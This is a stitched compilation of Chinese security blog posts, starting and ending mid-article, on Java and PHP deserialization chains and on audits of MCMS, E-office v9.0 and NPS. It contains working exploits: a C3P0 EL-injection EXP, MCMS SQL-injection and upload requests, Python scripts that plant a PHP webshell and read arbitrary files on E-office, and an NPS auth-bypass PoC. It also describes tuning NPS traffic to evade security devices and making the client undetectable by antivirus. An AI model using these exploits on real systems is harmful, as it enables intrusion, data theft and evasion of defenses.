实际上 Fastjson 初始化 WrapperConnectionPoolDataSource 类时,userOverridesAsString 属性是空的,要想进行反序列化操作,必须先给其赋值。理论上来说,要想解析 userOverridesAsString 属性,至少需要调用两次构造函数。
我们来调试看一下
断点依旧是同一个位置,开始调试
惊奇的发现,userOverrideAsString 一开始为 null,但是经过一轮之后,变成了 hex;这到底是为什么呢?我们可以去到 WrapperConnectionPoolDataSourceBase#setUserOverridesAsString 里面去看一看
不妨在这个地方下个断点,然后调试一下。
师傅们调试的时候会发现,这个
setUserOverridesAsString() 的运行逻辑大致是这样的,首先把之前为 null 的 userOverridesAsString 赋值给 oldVal,接着判断这两个是否相等,或者是否都为 null,如果不满足这个条件,就把新的值赋给 userOverridesAsString,如图
后续的过程和前面一样,就不再分析了。
0x04 C3P0 链子的不出网利用
这一种攻击方式是向https://goodapple.top/archives/1749学到的
不论是 URLClassLoader 加载远程类,还是 JNDI 注入,都需要目标机器能够出网。
而加载 Hex 字符串的方式虽然不用出网,但却有 Fastjson 等的相关依赖。那么如果目标机器不出网,又没有 Fastjson 依赖的话,C3P0 链又该如何利用呢?
关于 Java 的链子,如何不出网利用一直是一个很有趣的话题,也是很有意思的攻击面。
在 Jndi 高版本利用中,我们可以加载本地的 Factory 类进行攻击,而利用条件之一就是该工厂类至少存在一个 getObjectInstance() 方法。比如通过加载 Tomcat8 中的 org.apache.naming.factory.BeanFactory 进行 EL 表达式注入;关于 EL 表达式注入可以看这篇 https://drun1baby.github.io/2022/09/23/Java-%E4%B9%8B-EL-%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5/
先导入依赖
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.15</version>
</dependency>
C3P0 链子的不出网利用分析与 EXP
已经确定是想通过 EL 表达式注入的方式攻击了,我们需要先选择攻击的链子。
Jndi 的链子比较难,限制非常多,而且是不出网的利用,所以 pass 了;
URLClassLoader 的链子是可行的,只需要我们把之前 URLClassLoader 的 EXP 进行一些修改即可。
HexBase 的链子也是不可行的,因为它是基于 Fastjson 的一条链子。
EXP 如下
package NoNetUsing;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class NoAccessEXP {
public static class Loader_Ref implements ConnectionPoolDataSource, Referenceable {
@Override
public Reference getReference() throws NamingException {
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));
return resourceRef;
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
//序列化
public static void serialize(ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException {
//反射修改connectionPoolDataSource属性值
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Class cls = poolBackedDataSourceBase.getClass();
Field field = cls.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(poolBackedDataSourceBase,c);
//序列化流写入文件
FileOutputStream fos = new FileOutputStream(new File("ser.bin"));
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(poolBackedDataSourceBase);
}
//反序列化
public static void unserialize() throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(new File("ser.bin"));
ObjectInputStream objectInputStream = new ObjectInputStream(fis);
objectInputStream.readObject();
}
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
Loader_Ref loader_ref = new Loader_Ref();
serialize(loader_ref);
unserialize();
}
}
把原来 URLClassLoader 的地方修改成 EL 表达式的命令执行即可。
C3P0 链子的不出网利用调试
简单调试理解一下。
先把断点下在 BeanFactory 的 getObjectInstance() 方法下,因为这里是一定被调用到的。
此处,我们可以看到之前的调用链,如图
我们去到 readObject() 方法的地方加一个断点,再重新跑一遍,简单调试一下,我们就可以看到这是一个 URLClassLoader 的链子。
此处进行了命令执行的操作
0x05 小结
C3P0 这条链子分析起来还是不难,建议师傅们可以动手去尝试一个个类看一下,看哪里可能会存在有漏洞。
同时 C3P0 链的价值也是非常高的,C3P0 的包在实战环境中除CommonsCollections、CommonsBeanutiles 以外遇到最多的 JAR 包,其中一部分 C3P0 是被 org.quartz-scheduler:quartz 所依赖进来的。
关于前文提到的 "误打误撞看到的一处伪 JNDI 注入,失败告终",后续文章会仔细讲这一片段。
ThinkPHP6.0.13反序列化漏洞分析
1. 前言
最近有点闲下来了,不找点事干比较难受,打算找点漏洞分析一下,于是就打算看看TP的一些漏洞,ThinkPHP6.0.13是TP的最新版,八月份有师傅提交了一个issue指出TP存在反序列化问题,网上也有些师傅分析了一波,不过断点下的比较多,而且部分方法没有阐明其用途,所以我也尝试详细的分析一波。下面先给出POC
2. 分析
首先看看POC的起始点
发现起始点在Psr6Cache这个类,我们进入这个类,不过没有发现__destruct或者__wakeup等常见的反序列化起始魔术方法,推测应该在其父类AbstractCache这个抽象类中。跟入AbstractCache类
如图,成功发现本次反序列化链子的起始类。这里我们可以控制autosave这个属性为false,从而进入save方法。
回到Psr6Cache类查看这个方法
可以发现,pool属性和key属性我们都可控。因此可能存在两种路线,调用不同类的同名方法(getItem)。或者是直接尝试触发__call方法。我们来看看POC作者是怎么让反序列化进行下去的。
作者用构造方法传入了exp,exp其实就是在实例化Channel类。我们进入Channel类查看
Channel类中有一个__call方法,那么作者是选择触发__call来让链子继续下去。这个call方法接受了两个参数,method是写死的(getItem),parameters是可控的(即前面可控的key属性)
跟入log方法查看,其接受三个传参(但是其实对后续的链子没啥用),传入record方法
跟入record方法
再返回查看作者的POC,发现其控制lazy属性为false,让函数进入最后一个if分支执行save方法
那么save方法应该是比较关键的方法了,跟入save方法,这里面有三个可能被利用的点,作者选择了哪一个呢?
根据POC不难发现作者选择了控制logger属性,利用构造函数对其赋值,令其为Socket类的对象
在这个类中,我们找到了一个复杂的同名方法,其中有大量的操作。
我们继续来看作者是怎么构造的,作者控制config属性,给其赋值为数组。数组有如下内容
关键在于这两个键值,作者控制config,让程序运行到调用invoke方法的分支
同时,app属性可控,作者令app属性为App类的对象,我们进入App类
这里先看看App类的的exists方法的情况,在其父类中找到了这个方法
继续往后,这里对App类进行了唯一一个操作,控制了instances属性的值。这里控制其值是为了进入Request类,并且执行url方法
作者在这里对Request类做出唯一的操纵,就是控制url属性的值。可以看出,如果url属性存在,那么就会进入第一个分支,其值等于本身。
同时又注意到,complete我们之前传入的是true。因此最终返回的结果就是$this->domain().$url,url我们已经控制了,那么domain方法返回什么呢?
OK,这点我们就不用看了。分析了这么多,我们得到了$currentUri最后的值,就是:
http://localhost/<?php system(\'calc\'); exit(); ?>
currentUri作为一个数组被传入invoke了,根据链子的长度,达到invoke,我们的反序列化之旅就快结束了
查看invoke,App类找不到这个方法,在他的父类里找到了这个方法
这里可以看到。这个函数内有三分支走向,那么最终会走向哪里呢?根据我们之前$config[‘format_head’]的传入, 首先我们传入的这个对象不是Closure的实例或者子类,并且也不满足第二个分支的条件
因此进入到到第三个分支。我们跟进invokeMethod()方法。这里传入的$callabel就是[new \think\view\driver\Php,'display']、而$vars就是[‘http://localhost/<?php system(\'calc\'); exit(); ?>’]
注意,我们传入的$method是数组,因此进入第一个分支。把new \think\view\driver\Php (即对象)赋值给$class,’display’(即方法名)赋值给新的$method。
然后下面进行了一个判断,如果$class是对象,那么其值就为它本身,因为我们传入的是对象,所以这里没什么变化。然后进入最关键的代码
可以看到,把对象new \think\view\driver\Php 以及方法 display传入了ReflectionMethod。
在最后,调用invokeArgs方法,传入了new \think\view\driver\Php对象,同时传入了$args
那么args是什么呢?
我们跟入之后发现是一个处理函数,因为本人比较懒,而且到这都快分析完了,就不去硬读了,直接给结论,总之我们传入的 $vars ,也即 [‘http://localhost/<?php system(\'calc\'); exit(); ?>’] 其中的关键部分<?php system(\'calc\'); exit(); ?>保留了下来,并且进入到了后续的传参中
继续往后看,对于这个函数(invokeArgs),可以简单的类比call_user_func(),因此最后的关键代码其实只有这两行
也即
$reflect = new ReflectionMethod(new \think\view\driver\Php,’display’);
return $reflect->invokeArgs(new \think\view\driver\Php,’ <?php system(\'calc\'); exit(); ?>’)
常看tp反序列化的朋友就知道,已经结束咧!毕竟调用display方法了。但是上述这个调用ReflectionMethod类的操作到底是什么呢?我们可以借助如下实例来演示。所以说这玩意和call_user_func很像
最后是display方法,没什么好说的了,content传入display方法中,eval执行命令了
3. 结语
TP的链子一如既往的有意思(以及复杂),特别是最后的ReflectionMethod类的用法上,如果不了解这个类以及类中的方法组合可以实现类似call_user_func函数的作用的话,那么就很容易错过这样一个精彩的漏洞。
记一次MCMS的审计之路
MCMS 是 J2EE 系统,完整开源的Java CMS,基于SpringBoot 2架构,前端基于vue、element ui。为开发者提供上百套免费模板,同时提供适用的插件(文章、商城、微信、论坛、会员、评论、支付、积分、工作流、任务调度等...),一套简单好用的开源系统、一整套优质的开源生态内容体系。
十天前 MCMS 更新了新的一版本 5.2.9 提示新版本进行了 SQL 安全方面的优化,所以我们尝试 审计 https://gitee.com/mingSoft/MCMS/archive/refs/tags/5.2.8.zip
环境搭建
我们下载好安装包后
利用 idea 打开项目
创建数据库 mcms,导入 doc/mcms-5.2.8.sql
修改 src/main/resources/application-dev.yml 中关于数据库设置参数
运行MSApplication.java main方法
利用账户名:密码 msopen:msopen 登录后台 http://localhost:8080/ms/login.do
进入后台点击内容管理->静态化菜单 -> 生成主页、生成栏目、生成文章
启动的时候会有一点小 bug 需要在 idea 中配置
运行成功后,页面如图所示
前台反射型 XSS
漏洞复现
漏洞分析
我们看到运行后的控制台输出为
我们找到 net.mingsoft.basic.filter.XssHttpServletRequestWrapper 并添加断点,再次触发漏洞,看到一个完整的调用栈,
net.mingsoft.basic.filter.XssHttpServletRequestWrapper#clean(java.lang.String, java.lang.String)
后台命令执行一
漏洞复现
后台有一个可以上传模板文件的位置
我们上传文件并抓取数据包
我们看到数据包中的参数 uploadPath 指定了上传的位置,最后返回了上传后的路径以及文件内容
通过修改 参数 uploadPath 的值,我们就可以将文件上传 webapp 的任意目录下
我们写一个 1.txt 进行验证
POST /ms/file/uploadTemplate.do HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Length: 506
Accept: */*
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz3nUf5Hws24R3B3A
Cookie:
Origin: http://localhost:8080
Referer: http://localhost:8080/ms/template/list.do?template=1/default
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="uploadPath"
/
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="uploadFloderPath"
true
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="rename"
false
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/html
test
------WebKitFormBoundaryz3nUf5Hws24R3B3A--
漏洞分析
通过路由 /ms/file/uploadTemplate 定位到代码位置
net.mingsoft.basic.action.ManageFileAction#uploadTemplate
我们看到虽然存在非法路径过滤函数,查看函数内容,仅仅是对 ../ 进行了校验,通过绝对路径仍然可以绕过
net.mingsoft.basic.action.ManageFileAction#checkUploadPath
net.mingsoft.basic.action.BaseFileAction#uploadTemplate
后台命令执行二
漏洞复现
我们看到除了上传模板的接口,还存在编辑模板的接口
点击编辑,编辑后保存并抓取数据包
原本的数据包
我们看到参数 fileName 通过绝对路径指定了文件名,所以我们可以通过修改 fileName 来实现绝对路径写入
漏洞分析
net.mingsoft.basic.action.TemplateAction#writeFileContent
我们看到对文件的后缀名进行了检验,但还是通过传入的参数 fileName 写入文件
后台命令执行三
漏洞复现
构造数据包
POST /ms/file/upload.do HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Length: 506
Accept: */*
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz3nUf5Hws24R3B3A
Cookie:
Origin: http://localhost:8080
Referer: http://localhost:8080/ms/template/list.do?template=1/default
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="uploadPath"
/
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="uploadFloderPath"
true
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="rename"
false
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="file"; filename="3.txt"
Content-Type: text/html
test
------WebKitFormBoundaryz3nUf5Hws24R3B3A--
返回上传成功的文件的地址
漏洞分析
这个漏洞是在第一个后台命令执行的基础上发现的,两个类位于同一个文件内
net.mingsoft.basic.action.ManageFileAction#upload
虽然存在非法路径过滤函数 checkUploadPath ,查看函数内容,仅仅是对 ../ 进行了校验,通过绝对路径仍然可以绕过
对文件的上传是利用了
net.mingsoft.basic.action.BaseFileAction#upload
存在很多过滤,但是还是可以成功上传文件
后台 SQL 注入漏洞
漏洞复现
构造数据包
GET /ms/mdiy/page/verify.do?fieldName=1;select/**/if(substring((select/**/database()),1,4)='mcms',sleep(5),1)/**/and/**/1&fieldValue=1&id=1&idName=1 HTTP/1.1
Host: localhost:8080
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: no-cache
Cookie:
Pragma: no-cache
Referer: http://localhost:8080/ms/model/index.do?
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
token: null
发现成功使得服务器沉睡五秒
漏洞分析
net.mingsoft.mdiy.action.PageAction#verify
获取参数并传到方法 validated
net.mingsoft.basic.action.BaseAction#validated(java.lang.String, java.lang.String, java.lang.String)
将 fieldName 和 fieldValue 的传入到 where 参数中
net.mingsoft.base.biz.impl.BaseBizImpl#queryBySQL(java.lang.String, java.util.List, java.util.Map)
net.mingsoft.base.dao.IBaseDao#queryBySQL
因为是 mybits 所以未采用预编译的 ${ 就容易产生注入
后台 SQL 注入二
漏洞复现
登录后台后我们找到自定义模型的位置
根据代码生成器 生成一个自定义模型 json 并导入保存
点击删除时 抓取数据包
修改modelTableName
发现成功使得服务器沉睡五秒
漏洞分析
net.mingsoft.mdiy.action.ModelAction#delete
net.mingsoft.base.biz.impl.BaseBizImpl#dropTable
net.mingsoft.base.dao.IBaseDao
查看dropTable对应的mapper内容如下,直接将table内容进行拼接且未预编译,造成SQL注入。
E-office Server_v9.0 漏洞分析
漏洞简介
泛微e-office是一款标准化的协同OA办公软件,实行通用化产品设计,充分贴合企业管理需求,本着简洁易用、高效智能的原则,为企业快速打造移动化、无纸化、数字化的办公平台。由于泛微 E-Office 未能正确处理上传模块中输入的数据,未授权的攻击者可以构造恶意数据包发送给服务器,实现任意文件上传,并且获得服务器的webshell,成功利用该漏洞可以获取服务器控制权。未授权的攻击者可以构造恶意的数据包,读取服务器上的任意文件
漏洞影响范围 E-office Server_v9.0
默认安装位置是 d:\eoffice 在虚拟机内安装没有 D 盘,所以安装位置是 c:\eoffice
安装完成后,服务默认在 8082 端口 通过主机名 或 ip 地址都可以访问到
代码位置在 C:\eoffice\webroot 同样代码也是被加密了的
通过免费的解密网站获得了加密的具体信息 ZEND加密PHP5.2版本 http://www.phpjm.cc/
利用工具进行批量的解密,因为工具点击一次只能进行一次解密,所以利用模拟点击的工具进行模拟点击 https://github.com/taojy123/KeymouseGo
任意文件上传漏洞
漏洞利用
/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId=
POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
Host: 10.0.21.14:8082
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryykJoMlQs3JMOsgi3
Content-Length: 175
------WebKitFormBoundaryykJoMlQs3JMOsgi3
Content-Disposition: form-data; name="Filedata"; filename="1.php"
<?php phpinfo();?>
------WebKitFormBoundaryykJoMlQs3JMOsgi3--
上传文件的地址 http://10.0.21.14:8082/images/logo/logo-eoffice.php
漏洞分析
漏洞的主要位于 general/index/UploadFile.php
通过 $_GET 方法获取的参数 m,调用 UploadFile 中的任意方法
我们选择其中的 uploadPicture 方法
没有对传入的文件进行过滤,如果传入一个 php 文件,命名为 1.php 最后上传文件会变为 logo-eoffice.php 传入的位置是$_SERVER['DOCUMENT_ROOT']."/images/logo/"
利用脚本
import sys
import requests
def request_shell(url):
targeturl = url + "/images/logo/logo-eoffice.php"
response = requests.get(targeturl)
if(response.status_code == 200):
print("获取 shell 成功,shell地址为:"+targeturl)
def request_upload(url,data):
targeturl = url + "/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId="
targetfile = {'Filedata':('upload.php',data,'text/plain')}
response = requests.post(url = targeturl, files = targetfile)
if(response.status_code == 200):
print("上传成功")
def read_uploadfile(url,filename):
with open(filename) as f:
data = f.read()
request_upload(url,data)
def upload_file(url,filename):
if (filename == "phpinfo.php"):
data = "<?php phpinfo(); ?>"
request_upload(url,data)
else:
read_uploadfile(url,filename)
def main():
if len(sys.argv) < 3:
print("Usage: upload_file.py targeturl filename\n"
"Example: python upload_file.py http://10.0.21.14:8082 phpinfo.php")
exit()
url = sys.argv[1]
filename = sys.argv[2]
upload_file(url,filename)
request_shell(url)
if __name__ == '__main__':
main()
任意文件下载漏洞
漏洞利用
GET /inc/attach.php?path=/../../../../../1.txt HTTP/1.1
Host: 10.0.21.14:8082
Origin: http://10.0.21.14:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
漏洞分析
inc/attach.php
直接传入参数 $path 最后会读取 $path 的内容并将结果返回出来,我们注意到利用未授权就可将文件下载下来,从代码层面并没有看出来原因,但是通过浏览器直接访问时无法访问到,进行了 302 跳转,通过 burpsuite 就可以访问到,攥写脚本禁止 302 跳转也可以读取出来。
漏洞的主要来源位于
我们看一下文件的下载链接
利用脚本
import sys
import requests
import re
def save_reponse(re_result,filename):
filename=re.findall("[^/]+quot;,filename)[0]
# print(filename)
with open(filename, 'w',encoding='gb18030') as f:
f.write(re_result)
def re_response(response):
re_result = response[1507:]
return re_result
def read_file(url,filename):
targeturl = url + "/inc/attach.php?path="+filename
response = requests.get(url = targeturl, allow_redirects=False)
# print(response.text)
re_result = re_response(response.text)
print(re_result)
save_reponse(re_result,filename)
def main():
if len(sys.argv) < 3:
print("Usage: upload_file.py targeturl filename\n"
"Example: python read_file.py http://10.0.21.14:8082 attach.php")
exit()
url = sys.argv[1]
filename = sys.argv[2]
read_file(url,filename)
if __name__ == '__main__':
main()
还有一些 SQL 注入漏洞,还可以继续进一步的进行审计分析。
NPS之Socks流量分析以及未授权复现
前言
因为想要写一个socks的流量算法去绕过安全设备,所以这里对nps的流量特征总结一下,方便自己后期的魔改。
环境
ubuntu 16.04 vps server
windows server 2012R2 clinet
mkdir nps
cd nps
wget https://github.com/ehang-io/nps/releases/download/v0.26.10/linux_amd64_server.tar.gz
tar -zxvf linux_amd64_server.tar.gz
./nps install
cd /etc/nps/conf/
vim nps.conf
配置文件
#web
web_host=a.o.com
web_username=xxxx //管理端用户名
web_password=xxxxxx //管理端密码
web_port = xxxxx //管理端端口
web_ip=0.0.0.0
web_base_url=
web_open_ssl=false
web_cert_file=conf/server.pem
web_key_file=conf/server.key
#web_base_url=/nps
##bridge
bridge_type=tcp //客户端连接协议tcp
bridge_port=xxxx //客户端连接端口
bridge_ip=0.0.0.0
bridge_port的默认端口默认为8024,这里不建议改为默认的,连接客户端的时候可能会触发安全设备规则
NPS未授权复现
POC
#encoding=utf-8
import time
import hashlib
now = time.time()
m = hashlib.md5()
m.update(str(int(now)).encode("utf8"))
auth_key = m.hexdigest()
print("Index/Index?auth_key=%s×tamp=%s" % (auth_key,int(now))
直接访问
http://vps:port?payload
exp请求接口
POST /client/list HTTP/1.1
Host: vps:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 98
Origin: http://vps:port
Connection: close
Referer: http://vps:port/client/list
search=&order=asc&offset=0&limit=10&auth_key=805df7d1f7bf3b662939ca091174e6b4×tamp=1659948547
参考链接:
https://mp.weixin.qq.com/s/PTq01wcV4XJwutbSjHjfvA修复措施
vim /etc/nps/conf/nps.conf取消注释auth_key,添加auth_crypt_key`注释
auth_key=test#auth_crypt_key =!QAZ4rfv%TGB^YHN
修改为
auth_key=test#auth_crypt_key =!QAZ4rfv%TGB^YHN
目前最新版本的也存在改配置不当问题,这里需要修改配置,修复之后是无法通过未授权读取内容信息的。
socks流量分析
nps start
访问http://vps:port/login
新增客户端
这里用户名和密码随意,这里是客户端登录的认证用户名,在客户端连接的时候是根据密钥来实现的。
客户端选择windwos server 2012R2
修改客户端配置文件
[common]
server_addr=vps:port
conn_type=tcp
vkey=xxxx
auto_reconnection=true
max_conn=1000
flow_limit=1000
rate_limit=1000
basic_username=11
basic_password=3
web_username=xxxx
web_password=xxxxx
crypt=true
compress=true
#pprof_addr=0.0.0.0:9999
disconnect_timeout=60
客户端启动
npc.exe -server=vps:port -vkey=xxxxx -type=tcp
正常情况下会报毒,所以这里针对杀软这一块儿,客户端需要做一下免杀处理。
查看连接状态
使用goby测试socks5
测试代理
已成功实现内网穿透。
这里使用wireshark抓取流量包,
初始流量服务器向客户端发送TST
同时客户端向服务端确认版本,同时返回客户端版本0.26.0
代码位置nps/lib/version/version.go
服务端接收到请求后,客户端请求的数据内容为nps的版本为0.26.10
服务端接收到请求后返回给客户端服务端版本的md5值,即
md5(0.26.0)=89a4f3fc3c89257d6f712de6964bda8e
可以发现在产生nps客户端连接的时候,会产生数据校验,这里数据校验就是有服务器到
这是客户端传输给服务端密钥连接
md5(vkey)
服务端在接收到客户端的请求后校验数据后返回success
这里客户端和服务端的连接流量就比较清晰了,那么想要bypass安全设备的告警,在修改加密方式和修改版本关键字即可,因为在做流量隐藏的时候跟bypassav不一样,不会考虑文件的哈希以及文件在沙箱中的落地状态。
实例解析Java反射
反射是大多数语言里都必不不可少的组成部分,对象可以通过反射获取他的类,类可以通过反射拿到所有方法(包括私有),拿到的方法可以调用,总之通过“反射”,我们可以将Java这种静态语言附加上动态特性。
什么是反射
java的反射是指在运行状态中,对于任意一个类都能够知道这个类所有的属性和方法,并且对于任意一个对象。
基本形式
public void execute(String className, String methodName) throws Exception {
Class clazz = Class.forName(className);
clazz.getMethod(methodName).invoke(clazz.newInstance());
}
上面的例子中,我演示了几个在反射里极为重要的方法:获取类的方法: forName实例例化类对象的方法: newInstance获取函数的方法: getMethod执行函数的方法: invoke
反射的作用:
让Java具有动态性,修改已有对象的属性,动态生成对象,动态调用方法,操作内部类和私有方法
在反序列化漏洞中的应用
定制需要的对象,通过invoke调用除了同名函数以外的函数,通过class类创建对象,引入不能序列化的类
java反射举例
此处引用白日梦组长的例子,具体讲解一下反射。
先写一个Person作为我们下面演示的原型类
public class Person {
private String name;
public int age;
public void act(){
System.out.println("test");
}
@Override
public String toString() {
return "Persion{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public Person() {
}
public Person(String name, int age) {
this.name = name;
this.age = age;
}
}
获取原型类
使用forName方法
Class c = Class.forName("Person");
在此也写一种基于ClassLoader的动态类加载方式
this.getClass().getClassLoader().loadClass("Person");
从原型class里面实例化对象
利用构造函数实例化
Constructor constructor = c.getConstructor(String.class,int.class);
Person p1 = (Person) constructor.newInstance("abc",22);
我们来逐行写一下分析
Constructor constructor = c.getConstructor(String.class,int.class);
这一行是为了获取原型类中重载的构造方法
public Person(String name, int age) {
this.name = name;
this.age = age;
}
对构造方法进行传参实例化一个对象
Person p1 = (Person) constructor.newInstance("abc",22);
我们可以打印一下p1看一下返回结果
获取类里面的属性
private String name;
public int age;
public
Field ageField = c.getField("age");
ageField.set(p1,11);
private
Field nameField = c.getDeclaredField("name");
nameField.setAccessible(true);
nameField.set(p1,"xinyuan");
获取类方法
Method actmethod = c.getMethod("act",String.class);
actmethod.invoke(p1,"SKyMirror");
getMethod 与上面的获取构造函数类似,第一个参数是函数名,第二个是传参的类型
invoke方法第一个传入对象,第二个是传入参数值
利用URLDNS(反射)
这条链子算是反射的一个简单应用。
利用点
URL这个类重写了hashCode方法,导致在执行hashCode的时候,此利用点不能命令执行,但是会请求DNS,所以被用来验证是否存在反序列化漏洞。
源码如下:
可以看到当我们调用一次hashCode方法,他会对传进去的URL对象发起请求,即我们如果去DNSLOG申请一个地址,根据访问来判断是否成功执行了hashCode方法进而判断是否执行了反序列化的操作。
URL这个类实现了java.io.Serializable,可以进行序列化的操作。
因此,在这里我们可以验证一下我们上面的想法。
链子
这个链子也比较短,比较简单,主要是利用HashMap来执行hashCode方法
HashMap实现了Serializable可以序列化,此处注意反序列化时HashMap的readObject方法
我们跟进一下hash方法
key参数可控,key又是由反序列化的时候生成的。在HashMap中用put传入一个URL的对象,即可在反序列化的时候调用到此方法,从而触发整个链子。
有一点需要注意,我们在序列化的时候,进行的put传参会修改掉传入的URL对象的hashCode的值,因为hashCode值不等于-1,从而导致无法正常触发下面的方法,即无法触发DNS请求。
同时在正常put传参的时候会执行一次DNS请求,所以我们在put传参之前修改hashCode的值(不为-1就行),传参之后修改hashCode为-1,在反序列化的时候就可以正常执行了。
payload如下
public static void main(String[] args) throws Exception{
HashMap <URL,Integer> hashMap = new HashMap<>();
URL u = new URL("http://i2loelbsvarbmabqf89qi9k88zep2e.burpcollaborator.net/");
Class c = u.getClass();
//在进行put方法传参之前修改URL对象的hashCode值
Field hashcodeField = c.getDeclaredField("hashCode");
hashcodeField.setAccessible(true);
hashcodeField.set(u,123);
hashMap.put(u,123);
//修改URL对象的hashCode值为-1
hashcodeField.set(u,-1);
serialize(hashMap);
}
Java反序列化之原生
早就想学java安全,但一直无从下手,今天下定决心好好学习,当然以下内容可能会有些许错误,小白的烦恼。
序列化与反序列化
Java序列化是指把Java对象转换为字节序列的过程;而Java反序列化是指把字节序列恢复为Java对象的过程。
序列化分为两大部分:序列化和反序列化。序列化是这个过程的第一部分,将数据分解成字节流,以便存储在文件中或在网络上传输。反序列化就是打开字节流并重构对象。对象序列化不仅要将基本数据类型转换成字节表示,有时还要恢复数据。恢复数据要求有恢复数据的对象实例。
为什么需要序列化与反序列化
